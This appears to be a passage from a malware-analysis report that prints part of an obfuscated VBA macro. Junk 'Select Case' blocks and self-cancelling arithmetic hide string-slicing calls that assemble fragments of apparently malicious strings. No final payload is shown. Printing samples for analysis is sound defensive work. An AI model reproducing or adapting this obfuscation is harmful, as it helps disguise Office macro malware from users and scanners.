PphoYR = IjqfRI("ZbLp7wRYiw%!&&ll=%vMptvss@", 37520 - 37520 + 3 + 37520 - 37520, 37520 - 37520 + 19 + 37520 - 37520)
Select Case oMuvk
         Case 26259
            CblUmi = okZfQm
            BwiUOs = Round(94980)
            FqXzR = Hex(vHHTdL - ChrW(wirVnO))
            zwVsK = mPPaVU
         Case 67658
            WvwoMq = CByte(86028)
            SMnacD = Log(mwbij)
End Select
Select Case svZlBH
         Case 30551
            JultTj = rzcNf
            jLNYU = Round(25083)
            MnLRw = Hex(lPATI - ChrW(RfvIj))
            aftnhM = iOMjLM
         Case 63684
            qYWjTu = CByte(7200)
            zqiTzO = Log(lDhrth)
End Select
fwIwJGdz = IjqfRI("41jSWHjj%W", 37010 - 37010 + 7 + 37010 - 37010, 37010 - 37010 + 2 + 37010 - 37010)
Select Case ZFzrTB
         Case 48028
            oGbVaG = ZNmXh
            zDtcQY = Round(52074)
            iVoMKw = Hex(jbbCZ - ChrW(BYrcn))
            MiTEVA = cCFOCd
         Case 95954
            KknIQ = CByte(15060)
            plLVH = Log(vfBAdp)
End Select
Select Case JGEMCd
         Case 60608
            hSaYk = wEibv
            lZnLo = Round(73807)
            YQJaX = Hex(kTQNGL - ChrW(LURhK))
            lXWds = vIrkT
         Case 85308
            QSHpX = CByte(84439)
            ZzBfq = Log(QiqRI)
End Select
ntFMw = IjqfRI("i3Yi62fqhzzS% 1", 28352 - 28352 + 2 + 28352 - 28352, 28352 - 28352 + 8 + 28352 - 28352)
Select Case BVAnB
         Case 74025
            Vcqsj = VjvuEi
            pIulVr = Round(75581)
            oNSab = Hex(rCPiG - ChrW(GWZiG))
            iVoUn = mPPtbP
         Case 34952
            zzhPY = CByte(35733)
            jihjP = Log(bnTiLi)
End Select
Select Case JQMLB
         Case 17069
            kmzSn = tXqHt
            pwDKkt = Round(88596)
            FHBmC = Hex(jhbzO - ChrW(WfIpm))
            zwWZEO = ufUFGc
         Case 34796
            tQdkL = CByte(31062)
            dMwssW = Log(JpNXB)
End Select
EqpZtH = IjqfRI("RiEX !%vMptv,UC", 5205 - 5205 + 4 + 5205 - 5205, 5205 - 5205 + 8 + 5205 - 5205)
Select Case vsfCno
         Case 14397
            PbVVw = dPiEb
            QVKcM = Round(42520)
            jVisia = Hex(MAkbz - ChrW(IKNkb))
            wHhuK = vidZi
         Case 5797
            RMXDlj = CByte(73621)
            YCcfDG = Log(KFIaB)
End Select
Select Case YvpuRo
         Case 56233
            zZkjon = dXREVD
            FsASik = Round(54067)
            TVZWo = Hex(ZDtYC - ChrW(Uzmaqw))
            orNGd = pqwtzG
         Case 86864
            pGOJS = CByte(97436)
            DUXfTF = Log(HGabl)
End Select
pFIOqLqrN = IjqfRI("iVVbBivD=%riaX", 79454 - 79454 + 2 + 79454 - 79454, 79454 - 79454 + 7 + 79454 - 79454)
Select Case nRGOwk
         Case 98523
            dJuSJ = frXRYw
            lWpaK = Round(63395)
            jpSYUJ = Hex(XAzNhz - ChrW(aKdNK))
            jPjJCn = CuQol
         Case 7014
            hnrWz = CByte(98589)
            HrXErw = Log(KMMMz)
End Select
Select Case PzczRC
         Case 38193
            ziwaRR = cpZfbk
            boidrQ = Round(12446)
            zjHRjv = Hex(NZZUEf - ChrW(qFcGV))
            QZZpM = YoOoKD
         Case 68339
            jOSAk = CByte(81227)
            czFGj = Log(VzdBku)
End Select
akcPAzirbvA = IjqfRI("iYlTVtcOwU,2u", 9677 - 9677 + 4 + 9677 - 9677, 9677 - 9677 + 4 + 9677 - 9677)
Select Case iYKSEu
         Case 43428
            zlORUi = bmbVf
            oZTjj = Round(76839)
            qlmaI = Hex(SHEAvq - ChrW(MdOrp))
            TwVqZ = Potzq
         Case 66954
            GTzNz = CByte(77616)
            iMRXm = Log(iLwLLc)
End Select
Select Case vdZRuT
         Case 42832
            jjprJm = obNZlF
            RBYcwn = Round(18511)
            rvYvAT = Hex(vwsFiH - ChrW(lwzDdL))
            EZBhS = YtRVi
         Case 59575
            ruTOmY = CByte(77504)
            RjfXVj = Log(afuKz)
End Select
cwwEjV = IjqfRI("V8@z1QOJmzb,RI", 88373 - 88373 + 5 + 88373 - 88373, 88373 - 88373 + 5 + 88373 - 88373)
Select Case mWWOhH
         Case 52843
            fXXDQ = rfiREX
            nsVJz = Round(59714)
            SlaXh = Hex(FYwzEQ - ChrW(ilJIT))
            mXvwd = aXwdA
         Case 8304
            cSjuwz = CByte(42927)
            oTiiM = Log(KpBjNq)
End Select
Select Case ZaZQzm
         Case 74920
            jVrqA = fThZt
            XiFQz = Round(6921)
            YJcLA = Hex(AjzGjq - ChrW(WiYMk))
            LiGut = HqIvV
         Case 18278
            wYONG = CByte(18713)
            MzTfNz = Log(kCsGtj)
End Select
dcMwSoziZK = IjqfRI("8Z2YV!!%ptjuswGsicI%!!%6mJ", 82997 - 82997 + 4 + 82997 - 82997, 82997 - 82997 + 18 + 82997 - 82997)
Select Case rjROjD
         Case 86055
            soiwRu = HQSCtz
            KbhwZ = Round(45475)
            QpbdhE = Hex(zzXGzZ - ChrW(iAQjn))
            vbnqm = fYqhmd
         Case 40587
            czCTjq = CByte(90599)
            Ruwva = Log(faQQm)
End Select
Select Case ibXKC
         Case 85557
            wDBiAI = ZbAUHL
            wfnhjT = Round(92087)
            JKsXVZ = Hex(cbvfD - ChrW(KlASj))
            GtJKTW = mwjdV
         Case 48123
            Atqmcm = CByte(31173)
            zYZcH = Log(ltnOzc)
End Select
FUzzcjYp = IjqfRI("jnkOzaN.6M", 45413 - 45413 + 6 + 45413 - 45413, 45413 - 45413 + 3 + 45413 - 45413)
Select Case EAzZAL
         Case 75021
            swZFM = QuOqz
            zuklqP = Round(25336)
            CwOYw = Hex(wtrNb - ChrW(dqGazW))
            uUwZYz = rJPOi
         Case 72858
            lRwjBJ = CByte(19303)
            XDBOW = Log(HnJlUT)
End Select
Select Case ETBki
         Case 95493
            snqFj = UFaLh
            ZDVcF = Round(2505)
            SYsURJ = Hex(IfpzwN - ChrW(XXkILn))
            SFLmoc = Riqwj
         Case 68720
            iASYwm = CByte(87172)
            PcPTcB = Log(kUtNEA)
End Select
…

Open this report in the interactive analyzer, or submit your own file for analysis.